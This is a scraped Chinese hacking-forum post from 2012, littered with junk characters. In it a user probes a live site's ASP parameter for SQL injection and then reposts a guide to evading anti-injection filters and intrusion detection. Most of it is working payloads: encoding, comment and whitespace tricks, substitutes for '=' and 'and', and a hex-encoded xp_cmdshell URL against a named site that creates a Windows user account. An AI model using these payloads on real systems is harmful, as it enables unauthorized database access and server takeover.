找回密码
 立即注册
查看: 2763|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
9 \) P* m: j, A- M6 P$ ]http://www.xxx.cn/Article.asp?ID=117 and 1=1$ V4 o& w/ P0 W$ I: E5 @6 G* W
直接返回主页
, }4 |) ]" w9 t6 O. B) ehttp://www.xxx.cn/Article.asp?ID=117 or 1=1
* J( u$ g& D, k. U/ i* r- u+ ]直接返回主页8 p: X6 S- b# G$ Y* u8 ]" w
http://www.xxx.cn/Article.asp?ID=117 or
5 V1 J0 ?2 J/ `2 F/ j2 K& e! ^# _, X没有返回主页 没有过滤or/ {7 q  L3 r" f0 o  m+ @( G
http://www.xxx.cn/Article.asp?ID=117 and
2 h, x6 ?$ ^9 a6 A直接返回主页 看来过滤了and8 ~0 |3 D$ B/ A* h/ L' `
http://www.xxx.cn/Article.asp?ID=117 or 1
1 n) `! L/ z/ A+ I8 B) `' z' D没有返回主页 即没有过滤or 也没有过滤1
# ?# X% w/ p- F+ S' f* w: J$ x: w. Ghttp://www.xxx.cn/Article.asp?ID=117 or 1=1
$ m) L- O. |" B, T. d" U$ |  L直接返回主页 很明显过滤了等号
& ^% i7 D1 v+ _6 ior的特性是与and相反的.
0 O: _# t( o" L7 h5 Jor 1=1 爆错 或与原页面不同
4 F( [' V& X( I/ a0 Mor 1=2 原页面相同, z4 h! ?7 G) Q
这样就是一个注入点
/ y% F. V2 y9 j8 n4 W8 }: }但他过滤了=号 我就用><号代替=号吧!
- @( k4 l+ n+ y$ {0 G6 m' X3 For 1<2 很明显是正确的,所以应该与原页面不同
$ k& \% \1 K+ X; a3 Qor 1>2 很明显是错误的,所以应该与原页面相同. m' O, [; |, e5 |$ s
然后看看有没有过滤其他的查询语句,比如select.' n# C! d4 }- v5 |5 V' v- w
http://www.xxx.cn/Article.asp?ID=117 select
% \) Y/ J+ g- T( m2 _直接返回主页1 v$ J% t! i+ W* E
又迷茫了..& T; J- }4 I" c5 A! V
' D9 d( O1 q" J/ X  i- b
# o$ Q. E, b$ }8 ^( d
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗! D* h- u! d) v3 D
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
/ k8 V! \/ B& W# O! Q6 w3 }# H================================================. P% Y( i( c( J
以下是转贴:6 K" V3 ]! J6 W' G7 u# ^) O

) H: {3 s) k- ^5 W, m$ Z$ p突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
. Q; l; H" L5 U* n3 |. \. G( n3 a经过我的收集,大部分的防注入程序都过滤了以下关键字:
! p( H  N) u9 f% X$ F! J0 Oand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = " d4 I+ X# }9 \6 \& P
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 8 m4 r7 W0 J! H9 T. l
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
6 G* y! f3 y/ s  g( ?$ a9 S$ m1、运用编码技术绕过
; H/ I: a, K3 K4 {( [) u: i如URLEncode编码,ASCII编码绕过。例如or 1=1即
$ Q2 Q$ Y9 a# n" |) @8 y0 D5 S%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 % C0 n9 d6 _% B+ |7 j# Q& p

. ?. r7 i( J9 m2 m; y# e6 @& c2 t2、通过空格绕过 ) g- `" M' c+ f+ k
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ' n' v" ~) {1 h& ~. `; R1 v
or’ swords’ =‘swords’ % s# n5 ?! v! k7 H# ]
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
7 w. t2 I/ d1 ^9 f2 ~* ]) X3、运用字符串判断代替
% @5 ]# @- ~7 }4 p0 R( R" Y1 c% `用经典的or 1=1判断绕过,如
( ]; |% ?. [5 N# cor ’swords’ =’swords’ % n. K# h  L) r4 q8 z. ]' `
,这个方法就是网上在讨论的。
! P6 j$ r0 _4 i' r4、通过类型转换修饰符N绕过 ; s2 r8 Z( K+ E! V1 m) @
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
" m8 I5 v- w) H, o, Q! Z6 s1 w5、通过+号拆解字符串绕过
5 m, s+ {" w4 s" M+ e# y$ y  |1 B! p1 E效果值得考证,但毕竟是一种方法。如
' Z4 f& a7 I5 s+ s* o( l& M- Gor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) + ?$ @. u% @0 _2 Z" r# U1 S

1 ^% `9 ?' y7 M+ |# M6、通过LIKE绕过 2 o" {, [. q1 o2 V' W
以前怎么就没想到呢?如or 1 T; [5 L: G7 o- R+ v+ y
’swords’ LIKE ’sw’ 7 K0 F: A1 O- }: p2 [, \
!!!显然可以很轻松的绕过
) Y# ]0 L: T- i$ ]“=”“>”
: X- v/ G, h" L的限制…… 9 F0 H) `: P4 J4 E- o) P$ \# _# ]( Z' v+ l
7、通过IN绕过 : G) K/ C6 E! o$ `1 p  A) H  G; `5 M4 A
与上面的LIKE的思路差不多,如 ' p% H: c9 n4 G  r
or ’swords’ IN (’swords’)
) s, l+ d. S* K/ n$ y) `
0 [* [. c2 M  w1 m. Z- g8、通过BETWEEN绕过 5 D. h, s9 J) a# Y6 W& ^) t" z' T
+ N5 H7 k) P8 m- K$ v" c0 k
or ’swords’ BETWEEN ’rw’ AND ’tw’   X- O3 n2 @. {4 f
' M* P1 ?0 P% K3 h' f7 @& f8 R! b
9、通过>或者<绕过 5 r# {: G6 V9 w& ~& G
or ’swords’ > ’sw’
# {- }% p! v% L; X1 X: R5 C0 Gor ’swords’ < ’tw’ # E) Q, c6 S( {6 B: R) s! j
or 1<3
& |6 e& c( z7 V5 I……
, S5 p0 o- w6 ]& @1 T10、运用注释语句绕过
6 `: A7 O# m- a" n4 b2 E- {用/**/代替空格,如: / r5 \9 }, z  m: s! E5 S9 ~
UNION /**/ Select /**/user,pwd,from tbluser
" O- Y) {+ K9 ]0 x6 l6 E
) w5 n% h6 B* f7 N用/**/分割敏感词,如:
# B2 Q- {4 f7 D2 T! I# H. R; u* bU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
9 @* D5 ?4 K" K* J0 ^8 l) ?2 C$ k/ t. e
11、用HEX绕过,一般的IDS都无法检测出来
; V( i9 ^4 `# [* w5 r0x730079007300610064006D0069006E00 =hex(sysadmin)
' @+ k# ]& ~  m0x640062005F006F0077006E0065007200 =hex(db_owner) . {3 R# Y7 f! p; O% s, W# ~. p& Q
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
5 {* `7 C1 |0 c* f& _  declare @a sysname
; U: M+ {' {( U! w: C  select @a=
. L# [% i6 s( f2 V  U  H# \  exec master.dbo.xp_cmdshell @a " |, ]) ?, X( c9 z. s4 o1 [
效果 3 g8 K% J( U+ [; B% c& u( I
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
2 Z5 ?; Y3 \8 e! o3 G5 `. l, a. r/ L  {4 {1 X, B4 d
其中的
7 }5 i( H6 m, G% Z: `: B$ o" @6 ?# _0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400   w' l! T8 Q4 y" l, E& O7 @7 d
就是
4 m7 e% I' T/ J% |“net user angel pass /add”% B- b0 R( k1 y* L$ w* W

/ E+ _/ Z) h1 B一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。0 h4 t0 i# z1 d9 q4 J4 l; `! c
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
, \" ?# \4 B  i4 m( {) o9 z另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
7 R! z9 x- S+ Z" Q' WCopy code
3 h% D. x9 V5 w) e5 nselect * from table exec xp_cmdshell'xxxxxxxxxx'
1 n6 P" n' M! x  u% K  r7 t1 m, i) k& \2 Z: D  O. @9 K
* \8 C: C  C! _
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'. J. H; d0 e8 l

0 u0 `+ p0 l! y5 a# f! S7 o: b6 ?5 D& W, c0 n! g% k0 z
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
7 g' E/ |+ W9 i% f2 }. O, [5 R1 ^! z4 _. t$ l3 p% s; Q% V  \
0 r8 z; P$ i" B6 |! n& I
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'. g3 P1 r" O. M. A- S' c+ n, h  u

6 C- |3 s$ [8 L, M的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?0 F: n  U5 F! O* ^; _) p* u
/ c* H" ^# |* }3 [6 x
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
, K! C* u6 \, D6 \, t& m可能大家早就知道了,不管怎么说,发在这里吧!
! l; X& Z: @$ P9 @
1 }6 p0 `4 N% s  Y! g, M最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。* D* U* i) M7 |: e

* C! F: J$ m- I- B# V/ c. f3 g( R( j8 U1 ^4 C( ~4 s  D: a1 C7 ^
+ _7 v# C2 M2 ~6 x7 w( ~5 b
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,) Q, d, o3 K5 ^4 L( F) U7 s
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
6 q  j/ K7 L9 R/ R0 w/ B* r/ a$ T/ p& v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表